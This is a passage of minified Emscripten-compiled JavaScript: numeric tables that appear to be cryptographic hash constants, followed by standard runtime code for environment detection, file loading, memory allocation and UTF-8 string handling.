67,98,98,166,196,145,145,168,57,149,149,164,49,228,228,55,211,121,121,139,242,231,231,50,213,200,200,67,139,55,55,89,110,109,109,183,218,141,141,140,1,213,213,100,177,78,78,210,156,169,169,224,73,108,108,180,216,86,86,250,172,244,244,7,243,234,234,37,207,101,101,175,202,122,122,142,244,174,174,233,71,8,8,24,16,186,186,213,111,120,120,136,240,37,37,111,74,46,46,114,92,28,28,36,56,166,166,241,87,180,180,199,115,198,198,81,151,232,232,35,203,221,221,124,161,116,116,156,232,31,31,33,62,75,75,221,150,189,189,220,97,139,139,134,13,138,138,133,15,112,112,144,224,62,62,66,124,181,181,196,113,102,102,170,204,72,72,216,144,3,3,5,6,246,246,1,247,14,14,18,28,97,97,163,194,53,53,95,106,87,87,249,174,185,185,208,105,134,134,145,23,193,193,88,153,29,29,39,58,158,158,185,39,225,225,56,217,248,248,19,235,152,152,179,43,17,17,51,34,105,105,187,210,217,217,112,169,142,142,137,7,148,148,167,51,155,155,182,45,30,30,34,60,135,135,146,21,233,233,32,201,206,206,73,135,85,85,255,170,40,40,120,80,223,223,122,165,140,140,143,3,161,161,248,89,137,137,128,9,13,13,23,26,191,191,218,101,230,230,49,215,66,66,198,132,104,104,184,208,65,65,195,130,153,153,176,41,45,45,119,90,15,15,17,30,176,176,203,123,84,84,252,168,187,187,214,109,22,22,58,44,1,0,0,0,0,0,0,0,130,128,0,0,0,0,0,0,138,128,0,0,0,0,0,128,0,128,0,128,0,0,0,128,139,128,0,0,0,0,0,0,1,0,0,128,0,0,0,0,129,128,0,128,0,0,0,128,9,128,0,0,0,0,0,128,138,0,0,0,0,0,0,0,136,0,0,0,0,0,0,0,9,128,0,128,0,0,0,0,10,0,0,128,0,0,0,0,139,128,0,128,0,0,0,0,139,0,0,0,0,0,0,128,137,128,0,0,0,0,0,128,3,128,0,0,0,0,0,128,2,128,0,0,0,0,0,128,128,0,0,0,0,0,0,128,10,128,0,0,0,0,0,0,10,0,0,128,0,0,0,128,129,128,0,128,0,0,0,128,128,128,0,0,0,0,0,128,1,0,0,128,0,0,0,0,8,128,0,128,0,0,0,128,19,62,219,47,161,68,208,204,235,169,121,26,48,144,53,232,111,110,129,79,97,160,174,85,219,148,155,174,164,103,39,42,131,118,221,116,94,2,6,236,81,98,116,196,205,54,164,231,133,209,58,57,249,186,111,195,19,252,237,51,24,186,237,62,1,0,0,0,2,0,0,0,3,0,0,0,4,0,0,0,136,106,63,36,211,8,163,133,46,138,25,19,68,115,112,3,34,56,9,164,208,49,159,41,152,250,46,8,137,108,78,236,230,33,40,69,119,19,208,56,207,102,84,190,108,12,233,52,183,41,172,192,221,80,124,201,181,213,132,63,23,9,71,181,198,50,244,165,244,151,165,198,248,111,151,132,151,235,132,248,238,94,176,153,176,199,153,238,246,122,140,141,140,247,141,246,255,232,23,13,23,229,13,255,214,10,220,189,220,183,189,214,222,22,200,177,200,167,177,222,145,109,252,84,252,57,84,145,96,144,240,80,240,192,80,96,2,7,5,3,5,4,3,2,206,46,224,169,224,135,169,206,86,209,135,125,135,172,125,86,231,204,43,25,43,213,25,231,181,19,166,98,166,113,98,181,77,124,49,230,49,154,230,77,236,89,181,154,181,195,154,236,143,64,207,69,207,5,69,143,31,163,188,157,188,62,157,31,137,73,192,64,192,9,64,137,250,104,146,135,146,239,135,250,239,208,63,21,63,197,21,239,178,148,38,235,38,127,235,178,142,206,64,201,64,7,201,142,251,230,29,11,29,237,11,251,65,110,47,236,47,130,236,65,179,26,169,103,169,125,103,179,95,67,28,253,28,190,253,95,69,96,37,234,37,138,234,69,35,249,218,191,218,70,191,35,83,81,2,247,2,166,247,83,228,69,161,150,161,211,150,228,155,118,237,91,237,45,91,155,117,40,93,194,93,234,194,117,225,197,36,28,36,217,28,225,61,212,233,174,233,122,174,61,76,242,190,106,190,152,106,76,108,130,238,90,238,216,90,108,126,189,195,65,195,252,65,126,245,243,6,2,6,241,2,245,131,82,209,79,209,29,79,131,104,140,228,92,228,208,92,104,81,86,7,244,7,162,244,81,209,141,92,52,92,185,52,209,249,225,24,8,24,233,8,249,226,76,174,147,174,223,147,226,171,62,149,115,149,77,115,171,98,151,245,83,245,196,83,98,42,107,65,63,65,84,63,42,8,28,20,12,20,16,12,8,149,99,246,82,246,49,82,149,70,233,175,101,175,140,101,70,157,127,226,94,226,33,94,157,48,72,120,40,120,96,40,48,55,207,248,161,248,110,161,55,10,27,17,15,17,20,15,10,47,235,196,181,196,94,181,47,14,21,27,9,27,28,9,14,36,126,90,54,90,72,54,36,27,173,182,155,182,54,155,27,223,152,71,61,71,165,61,223,205,167,106,38,106,129,38,205,78,245,187,105,187,156,105,78,127,51,76,205,76,254,205,127,234,80,186,159,186,207,159,234,18,63,45,27,45,36,27,18,29,164,185,158,185,58,158,29,88,196,156,116,156,176,116,88,52,70,114,46,114,104,46,52,54,65,119,45,119,108,45,54,220,17,205,178,205,163,178,220,180,157,41,238,41,115,238,180,91,77,22,251,22,182,251,91,164,165,1,246,1,83,246,164,118,161,215,77,215,236,77,118,183,20,163,97,163,117,97,183,125,52,73,206,73,250,206,125,82,223,141,123,141,164,123,82,221,159,66,62,66,161,62,221,94,205,147,113,147,188,113,94,19,177,162,151,162,38,151,19,166,162,4,245,4,87,245,166,185,1,184,104,184,105,104,185,0,65,232,47,11,137,14,193,181,116,44,116,153,44,193,64,224,160,96,160,128,96,64,227,194,33,31,33,221,31,227,121,58,67,200,67,242,200,121,182,154,44,237,44,119,237,182,212,13,217,190,217,179,190,212,141,71,202,70,202,1,70,141,103,23,112,217,112,206,217,103,114,175,221,75,221,228,75,114,148,237,121,222,121,51,222,148,152,255,103,212,103,43,212,152,176,147,35,232,35,123,232,176,133,91,222,74,222,17,74,133,187,6,189,107,189,109,107,187,197,187,126,42,126,145,42,197,79,123,52,229,52,158,229,79,237,215,58,22,58,193,22,237,134,210,84,197,84,23,197,134,154,248,98,215,98,47,215,154,102,153,255,85,255,204,85,102,17,182,167,148,167,34,148,17,138,192,74,207,74,15,207,138,233,217,48,16,48,201,16,233,4,14,10,6,10,8,6,4,254,102,152,129,152,231,129,254,160,171,11,240,11,91,240,160,120,180,204,68,204,240,68,120,37,240,213,186,213,74,186,37,75,117,62,227,62,150,227,75,162,172,14,243,14,95,243,162,93,68,25,254,25,186,254,93,128,219,91,192,91,27,192,128,5,128,133,138,133,10,138,5,63,211,236,173,236,126,173,63,33,254,223,188,223,66,188,33,112,168,216,72,216,224,72,112,241,253,12,4,12,249,4,241,99,25,122,223,122,198,223,99,119,47,88,193,88,238,193,119,175,48,159,117,159,69,117,175,66,231,165,99,165,132,99,66,32,112,80,48,80,64,48,32,229,203,46,26,46,209,26,229,253,239,18,14,18,225,14,253,191,8,183,109,183,101,109,191,129,85,212,76,212,25,76,129,24,36,60,20,60,48,20,24,38,121,95,53,95,76,53,38,195,178,113,47,113,157,47,195,190,134,56,225,56,103,225,190,53,200,253,162,253,106,162,53,136,199,79,204,79,11,204,136,46,101,75,57,75,92,57,46,147,106,249,87,249,61,87,147,85,88,13,242,13,170,242,85,252,97,157,130,157,227,130,252,122,179,201,71,201,244,71,122,200,39,239,172,239,139,172,200,186,136,50,231,50,111,231,186,50,79,125,43,125,100,43,50,230,66,164,149,164,215,149,230,192,59,251,160,251,155,160,192,25,170,179,152,179,50,152,25,158,246,104,209,104,39,209,158,163,34,129,127,129,93,127,163,68,238,170,102,170,136,102,68,84,214,130,126,130,168,126,84,59,221,230,171,230,118,171,59,11,149,158,131,158,22,131,11,140,201,69,202,69,3,202,140,199,188,123,41,123,149,41,199,107,5,110,211,110,214,211,107,40,108,68,60,68,80,60,40,167,44,139,121,139,85,121,167,188,129,61,226,61,99,226,188,22,49,39,29,39,44,29,22,173,55,154,118,154,65,118,173,219,150,77,59,77,173,59,219,100,158,250,86,250,200,86,100,116,166,210,78,210,232,78,116,20,54,34,30,34,40,30,20,146,228,118,219,118,63,219,146,12,18,30,10,30,24,10,12,72,252,180,108,180,144,108,72,184,143,55,228,55,107,228,184,159,120,231,93,231,37,93,159,189,15,178,110,178,97,110,189,67,105,42,239,42,134,239,67,196,53,241,166,241,147,166,196,57,218,227,168,227,114,168,57,49,198,247,164,247,98,164,49,211,138,89,55,89,189,55,211,242,116,134,139,134,255,139,242,213,131,86,50,86,177,50,213,139,78,197,67,197,13,67,139,110,133,235,89,235,220,89,110,218,24,194,183,194,175,183,218,1,142,143,140,143,2,140,1,177,29,172,100,172,121,100,177,156,241,109,210,109,35,210,156,73,114,59,224,59,146,224,73,216,31,199,180,199,171,180,216,172,185,21,250,21,67,250,172,243,250,9,7,9,253,7,243,207,160,111,37,111,133,37,207,202,32,234,175,234,143,175,202,244,125,137,142,137,243,142,244,71,103,32,233,32,142,233,71,16,56,40,24,40,32,24,16,111,11,100,213,100,222,213,111,240,115,131,136,131,251,136,240,74,251,177,111,177,148,111,74,92,202,150,114,150,184,114,92,56,84,108,36,108,112,36,56,87,95,8,241,8,174,241,87,115,33,82,199,82,230,199,115,151,100,243,81,243,53,81,151,203,174,101,35,101,141,35,203,161,37,132,124,132,89,124,161,232,87,191,156,191,203,156,232,62,93,99,33,99,124,33,62,150,234,124,221,124,55,221,150,97,30,127,220,127,194,220,97,13,156,145,134,145,26,134,13,15,155,148,133,148,30,133,15,224,75,171,144,171,219,144,224,124,186,198,66,198,248,66,124,113,38,87,196,87,226,196,113,204,41,229,170,229,131,170,204,144,227,115,216,115,59,216,144,6,9,15,5,15,12,5,6,247,244,3,1,3,245,1,247,28,42,54,18,54,56,18,28,194,60,254,163,254,159,163,194,106,139,225,95,225,212,95,106,174,190,16,249,16,71,249,174,105,2,107,208,107,210,208,105,23,191,168,145,168,46,145,23,153,113,232,88,232,41,88,153,58,83,105,39,105,116,39,58,39,247,208,185,208,78,185,39,217,145,72,56,72,169,56,217,235,222,53,19,53,205,19,235,43,229,206,179,206,86,179,43,34,119,85,51,85,68,51,34,210,4,214,187,214,191,187,210,169,57,144,112,144,73,112,169,7,135,128,137,128,14,137,7,51,193,242,167,242,102,167,51,45,236,193,182,193,90,182,45,60,90,102,34,102,120,34,60,21,184,173,146,173,42,146,21,201,169,96,32,96,137,32,201,135,92,219,73,219,21,73,135,170,176,26,255,26,79,255,170,80,216,136,120,136,160,120,80,165,43,142,122,142,81,122,165,3,137,138,143,138,6,143,3,89,74,19,248,19,178,248,89,9,146,155,128,155,18,128,9,26,35,57,23,57,52,23,26,101,16,117,218,117,202,218,101,215,132,83,49,83,181,49,215,132,213,81,198,81,19,198,132,208,3,211,184,211,187,184,208,130,220,94,195,94,31,195,130,41,226,203,176,203,82,176,41,90,195,153,119,153,180,119,90,30,45,51,17,51,60,17,30,123,61,70,203,70,246,203,123,168,183,31,252,31,75,252,168,109,12,97,214,97,218,214,109,44,98,78,58,78,88,58,44,1,0,0,0,3,0,0,0,6,0,0,0,10,0,0,0,15,0,0,0,21,0,0,0,28,0,0,0,36,0,0,0,45,0,0,0,55,0,0,0,2,0,0,0,14,0,0,0,27,0,0,0,41,0,0,0,56,0,0,0,8,0,0,0,25,0,0,0,43,0,0,0,62,0,0,0,18,0,0,0,39,0,0,0,61,0,0,0,20,0,0,0,44,0,0,0,10,0,0,0,7,0,0,0,11,0,0,0,17,0,0,0,18,0,0,0,3,0,0,0,5,0,0,0,16,0,0,0,8,0,0,0,21,0,0,0,24,0,0,0,4,0,0,0,15,0,0,0,23,0,0,0,19,0,0,0,13,0,0,0,12,0,0,0,2,0,0,0,20,0,0,0,14,0,0,0,22,0,0,0,9,0,0,0,6,0,0,0,1,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,14,10,4,8,9,15,13,6,1,12,0,2,11,7,5,3,11,8,12,0,5,2,15,13,10,14,3,6,7,1,9,4,7,9,3,1,13,12,11,14,2,6,5,10,4,0,15,8,9,0,5,7,2,4,10,15,14,1,11,12,6,8,3,13,2,12,6,10,0,11,8,3,4,13,7,5,15,14,1,9,12,5,1,15,14,13,4,10,0,7,6,3,9,2,8,11,13,11,7,14,12,1,3,9,5,0,15,4,8,6,2,10,6,15,14,9,11,3,0,8,12,2,13,7,1,4,10,5,10,2,8,4,7,6,1,5,15,11,9,14,3,12,13,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,14,10,4,8,9,15,13,6,1,12,0,2,11,7,5,3,11,8,12,0,5,2,15,13,10,14,3,6,7,1,9,4,7,9,3,1,13,12,11,14,2,6,5,10,4,0,15,8,128,0,65,176,62,11,202,13,235,152,163,65,44,32,211,235,146,205,190,123,156,178,69,193,28,147,81,145,96,212,199,250,38,0,130,214,126,80,138,3,164,35,158,38,119,38,185,69,224,251,26,72,212,26,148,119,205,181,171,38,2,107,23,122,86,240,36,66,15,255,47,168,113,163,150,137,127,46,77,117,29,20,73,8,247,125,226,98,39,118,149,247,118,36,143,148,135,213,182,87,71,128,41,108,92,94,39,45,172,142,13,108,81,132,80,198,87,5,122,15,123,228,211,103,112,36,18,234,137,227,171,19,211,28,215,105,114,213,222,162,223,21,248,103,123,132,21,10,183,35,21,87,129,171,214,144,77,90,135,246,78,159,79,197,195,209,43,64,234,152,58,224,92,69,250,156,3,197,210,153,102,178,153,154,102,2,150,180,242,187,83,138,181,86,20,26,136,219,162,49,3,163,90,92,154,25,14,219,64,63,178,10,135,193,68,16,28,5,25,128,132,158,149,29,111,51,235,173,94,231,205,220,16,186,19,146,2,191,107,65,220,120,101,21,247,187,39,208,10,44,129,57,55,170,120,80,63,26,191,210,65,0,145,211,66,45,90,13,246,204,126,144,221,98,159,156,146,192,151,206,24,92,167,11,199,43,68,172,209,223,101,214,99,198,252,35,151,110,108,3,158,224,184,26,33,5,69,126,68,108,236,168,238,241,3,187,93,142,97,250,253,150,151,178,148,131,129,151,74,142,133,55,219,3,48,47,42,103,141,45,251,159,106,149,138,254,115,129,248,184,105,108,138,199,114,70,192,127,66,20,197,244,21,143,189,199,94,196,117,68,111,167,143,17,187,128,82,222,117,183,174,228,136,188,130,184,0,30,152,166,163,244,142,244,143,51,169,163,99,21,170,95,86,36,213,183,249,137,182,241,237,32,124,90,224,253,54,202,233,90,6,66,44,54,206,41,53,67,78,254,152,61,83,58,249,116,115,154,75,167,208,245,31,89,111,78,129,134,14,157,173,129,175,216,90,159,167,5,6,103,238,52,98,106,139,11,40,190,110,185,23,39,71,116,7,38,198,128,16,63,224,160,126,111,198,126,72,123,13,85,10,165,74,248,164,192,145,227,231,159,151,142,241,158,134,118,114,129,80,96,141,212,126,158,90,65,243,229,176,98,252,159,31,236,64,84,32,122,227,228,26,0,206,244,201,132,79,215,148,245,157,250,149,216,85,46,126,17,36,195,84,165,91,223,114,40,189,254,110,40,120,245,127,226,15,165,196,178,5,137,124,239,238,73,211,46,68,126,147,133,235,40,89,127,112,95,105,55,179,36,49,74,94,134,40,241,29,214,228,101,199,27,119,4,81,185,32,231,116,254,67,232,35,212,135,138,125,41,232,163,146,118,148,242,221,203,122,9,155,48,217,193,29,27,48,251,91,220,27,224,218,36,73,79,242,156,130,191,164,231,186,49,180,112,191,255,13,50,68,5,222,248,188,72,59,174,252,50,83,187,211,57,69,159,195,193,224,41,139,160,229,201,5,253,247,174,9,15,148,112,52,18,66,144,241,52,162,113,183,1,227,68,237,149,233,59,142,54,79,47,152,74,136,64,29,99,160,108,246,21,71,193,68,75,135,82,175,255,126,187,74,241,226,10,198,48,70,112,182,197,204,110,140,230,164,213,164,86,189,79,202,0,218,157,132,75,200,62,24,174,115,87,206,69,48,100,209,173,232,166,206,104,20,92,37,103,163,218,140,242,203,14,225,22,51,233,6,88,154,148,153,154,31,96,178,32,194,111,132,123,209,206,172,127,160,209,133,24,50,89,91,161,141,221,25,211,80,154,28,192,170,165,180,70,159,61,99,103,228,4,107,186,246,202,25,171,11,86,238,126,31,177,121,234,169,40,33,116,233,189,247,53,59,54,81,238,29,87,172,90,117,80,211,118,58,70,194,254,163,125,112,1,247,53,193,175,152,164,216,66,120,237,236,32,158,107,103,121,65,131,99,21,234,58,219,168,250,195,59,77,50,131,44,131,167,64,59,31,28,39,71,243,89,64,240,52,183,45,118,154,231,62,78,108,210,33,79,253,184,253,141,57,220,87,89,239,141,155,12,73,43,73,235,218,91,162,215,73,104,243,112,13,125,59,174,208,122,141,85,132,245,165,233,240,228,248,142,101,160,184,162,244,54,16,59,83,12,168,7,158,117,62,236,90,145,104,148,146,86,232,136,79,91,176,92,85,248,186,188,76,227,187,59,153,243,135,148,123,117,218,244,214,114,107,28,93,100,174,172,40,220,52,179,109,108,52,165,80,184,40,219,113,248,97,226,242,16,141,81,42,227,219,100,51,89,221,117,252,28,172,188,241,67,206,63,162,103,187,209,60,2,232,67,176,51,10,91,202,136,41,161,117,127,52,25,77,180,22,83,92,146,59,148,195,14,121,77,30,121,116,117,215,182,238,175,63,234,168,212,247,190,26,57,33,92,244,126,9,76,35,39,81,38,163,36,83,186,50,60,210,68,163,23,74,109,166,213,173,181,29,62,166,175,242,201,8,131,89,61,152,145,107,60,86,76,248,124,161,114,134,96,77,70,226,62,204,8,110,199,246,47,152,51,179,177,188,118,94,43,214,102,165,239,196,230,42,6,244,182,232,190,193,212,54,116,238,130,21,188,239,33,99,253,193,78,13,244,83,201,105,167,125,90,196,6,88,88,38,126,193,20,22,6,224,250,22,126,144,175,61,40,99,157,63,210,201,242,227,0,155,210,12,95,170,206,48,183,212,12,48,116,42,81,22,242,224,50,152,13,235,48,216,227,206,248,154,75,197,158,123,181,241,121,146,255,81,230,110,4,134,104,211,155,35,77,87,230,150,103,49,204,230,166,243,23,10,117,5,177,118,129,217,19,50,108,206,60,23,82,132,248,5,162,98,244,43,203,179,120,71,21,71,255,70,84,130,35,147,106,72,56,223,88,7,78,94,101,101,242,252,124,137,252,134,80,142,49,112,46,68,208,11,202,134,240,64,9,162,48,120,71,78,101,160,238,57,209,247,56,131,247,94,233,55,228,44,58,189,33,151,178,38,1,19,248,111,163,68,237,209,239,159,222,231,139,160,223,21,118,37,146,217,60,133,247,246,18,220,66,190,216,167,236,124,171,39,176,126,83,141,125,218,170,62,168,222,170,37,206,147,189,2,105,216,90,246,67,253,26,115,8,249,192,95,239,218,23,74,25,165,151,77,102,51,76,253,33,106,53,180,152,49,219,65,21,112,234,30,15,187,237,205,84,155,154,208,99,161,81,151,64,114,246,117,157,191,145,71,111,226,99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22,1,2,4,8,16,32,64,128,27,54]};var moduleOverrides={};var key;for(key in Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}Module["arguments"]=[];Module["thisProgram"]="./this.program";Module["quit"]=(function(status,toThrow){throw toThrow});Module["preRun"]=[];Module["postRun"]=[];var ENVIRONMENT_IS_WEB=false;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var ENVIRONMENT_IS_SHELL=false;if(Module["ENVIRONMENT"]){if(Module["ENVIRONMENT"]==="WEB"){ENVIRONMENT_IS_WEB=true}else if(Module["ENVIRONMENT"]==="WORKER"){ENVIRONMENT_IS_WORKER=true}else if(Module["ENVIRONMENT"]==="NODE"){ENVIRONMENT_IS_NODE=true}else if(Module["ENVIRONMENT"]==="SHELL"){ENVIRONMENT_IS_SHELL=true}else{throw new Error("Module[\'ENVIRONMENT\'] value is not valid. must be one of: WEB|WORKER|NODE|SHELL.")}}else{ENVIRONMENT_IS_WEB=typeof window==="object";ENVIRONMENT_IS_WORKER=typeof importScripts==="function";ENVIRONMENT_IS_NODE=typeof process==="object"&&typeof require==="function"&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER;ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER}if(ENVIRONMENT_IS_NODE){var nodeFS;var nodePath;Module["read"]=function shell_read(filename,binary){var ret;if(!nodeFS)nodeFS=require("fs");if(!nodePath)nodePath=require("path");filename=nodePath["normalize"](filename);ret=nodeFS["readFileSync"](filename);return binary?ret:ret.toString()};Module["readBinary"]=function readBinary(filename){var ret=Module["read"](filename,true);if(!ret.buffer){ret=new Uint8Array(ret)}assert(ret.buffer);return ret};if(process["argv"].length>1){Module["thisProgram"]=process["argv"][1].replace(/\\\\/g,"/")}Module["arguments"]=process["argv"].slice(2);if(typeof module!=="undefined"){module["exports"]=Module}process["on"]("uncaughtException",(function(ex){if(!(ex instanceof ExitStatus)){throw ex}}));process["on"]("unhandledRejection",(function(reason,p){process["exit"](1)}));Module["inspect"]=(function(){return"[Emscripten Module object]"})}else if(ENVIRONMENT_IS_SHELL){if(typeof read!="undefined"){Module["read"]=function shell_read(f){return read(f)}}Module["readBinary"]=function readBinary(f){var data;if(typeof readbuffer==="function"){return new Uint8Array(readbuffer(f))}data=read(f,"binary");assert(typeof data==="object");return data};if(typeof scriptArgs!="undefined"){Module["arguments"]=scriptArgs}else if(typeof arguments!="undefined"){Module["arguments"]=arguments}if(typeof quit==="function"){Module["quit"]=(function(status,toThrow){quit(status)})}}else if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){Module["read"]=function shell_read(url){var xhr=new XMLHttpRequest;xhr.open("GET",url,false);xhr.send(null);return xhr.responseText};if(ENVIRONMENT_IS_WORKER){Module["readBinary"]=function readBinary(url){var xhr=new XMLHttpRequest;xhr.open("GET",url,false);xhr.responseType="arraybuffer";xhr.send(null);return new Uint8Array(xhr.response)}}Module["readAsync"]=function readAsync(url,onload,onerror){var xhr=new XMLHttpRequest;xhr.open("GET",url,true);xhr.responseType="arraybuffer";xhr.onload=function xhr_onload(){if(xhr.status==200||xhr.status==0&&xhr.response){onload(xhr.response);return}onerror()};xhr.onerror=onerror;xhr.send(null)};if(typeof arguments!="undefined"){Module["arguments"]=arguments}Module["setWindowTitle"]=(function(title){document.title=title})}Module["print"]=typeof console!=="undefined"?console.log.bind(console):typeof print!=="undefined"?print:null;Module["printErr"]=typeof printErr!=="undefined"?printErr:typeof console!=="undefined"&&console.warn.bind(console)||Module["print"];Module.print=Module["print"];Module.printErr=Module["printErr"];for(key in moduleOverrides){if(moduleOverrides.hasOwnProperty(key)){Module[key]=moduleOverrides[key]}}moduleOverrides=undefined;var STACK_ALIGN=16;function staticAlloc(size){assert(!staticSealed);var ret=STATICTOP;STATICTOP=STATICTOP+size+15&-16;return ret}function dynamicAlloc(size){assert(DYNAMICTOP_PTR);var ret=HEAP32[DYNAMICTOP_PTR>>2];var end=ret+size+15&-16;HEAP32[DYNAMICTOP_PTR>>2]=end;if(end>=TOTAL_MEMORY){var success=enlargeMemory();if(!success){HEAP32[DYNAMICTOP_PTR>>2]=ret;return 0}}return ret}function alignMemory(size,factor){if(!factor)factor=STACK_ALIGN;var ret=size=Math.ceil(size/factor)*factor;return ret}function getNativeTypeSize(type){switch(type){case"i1":case"i8":return 1;case"i16":return 2;case"i32":return 4;case"i64":return 8;case"float":return 4;case"double":return 8;default:{if(type[type.length-1]==="*"){return 4}else if(type[0]==="i"){var bits=parseInt(type.substr(1));assert(bits%8===0);return bits/8}else{return 0}}}}var functionPointers=new Array(0);var GLOBAL_BASE=1024;var ABORT=0;var EXITSTATUS=0;function assert(condition,text){if(!condition){abort("Assertion failed: "+text)}}function setValue(ptr,value,type,noSafe){type=type||"i8";if(type.charAt(type.length-1)==="*")type="i32";switch(type){case"i1":HEAP8[ptr>>0]=value;break;case"i8":HEAP8[ptr>>0]=value;break;case"i16":HEAP16[ptr>>1]=value;break;case"i32":HEAP32[ptr>>2]=value;break;case"float":HEAPF32[ptr>>2]=value;break;case"double":HEAPF64[ptr>>3]=value;break;default:abort("invalid type for setValue: "+type)}}var ALLOC_STATIC=2;var ALLOC_NONE=4;function allocate(slab,types,allocator,ptr){var zeroinit,size;if(typeof slab==="number"){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var singleType=typeof types==="string"?types:null;var ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof _malloc==="function"?_malloc:staticAlloc,stackAlloc,staticAlloc,dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var stop;ptr=ret;assert((ret&3)==0);stop=ret+(size&~3);for(;ptr<stop;ptr+=4){HEAP32[ptr>>2]=0}stop=ret+size;while(ptr<stop){HEAP8[ptr++>>0]=0}return ret}if(singleType==="i8"){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new Uint8Array(slab),ret)}return ret}var i=0,type,typeSize,previousType;while(i<size){var curr=slab[i];type=singleType||types[i];if(type===0){i++;continue}if(type=="i64")type="i32";setValue(ret+i,curr,type);if(previousType!==type){typeSize=getNativeTypeSize(type);previousType=type}i+=typeSize}return ret}function Pointer_stringify(ptr,length){if(length===0||!ptr)return"";var hasUtf=0;var t;var i=0;while(1){t=HEAPU8[ptr+i>>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var ret="";if(hasUtf<128){var MAX_CHUNK=1024;var curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return ret}return UTF8ToString(ptr)}var UTF8Decoder=typeof TextDecoder!=="undefined"?new TextDecoder("utf8"):undefined;function UTF8ArrayToString(u8Array,idx){var endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var u0,u1,u2,u3,u4,u5;var str="";while(1){u0=u8Array[idx++];if(!u0)return str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}function UTF8ToString(ptr){return UTF8ArrayToString(HEAPU8,ptr)}function stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return outIdx-startIdx}function lengthBytesUTF8(str){var len=0;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else if(u<=2047){len+=2}else if(u<=65535){len+=3}else if(u<=2097151){len+=4}else if(u<=67108863){len+=5}else{len+=6}}return len}var UTF16Decoder=typeof TextDecoder!=="undefined"?new TextDecoder("utf-16le"):undefined;var WASM_PAGE_SIZE=65536;var ASMJS_PAGE_SIZE=16777216;function alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return x}var buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function updateGlobalBuffer(buf){Module["buffer"]=buffer=buf}function 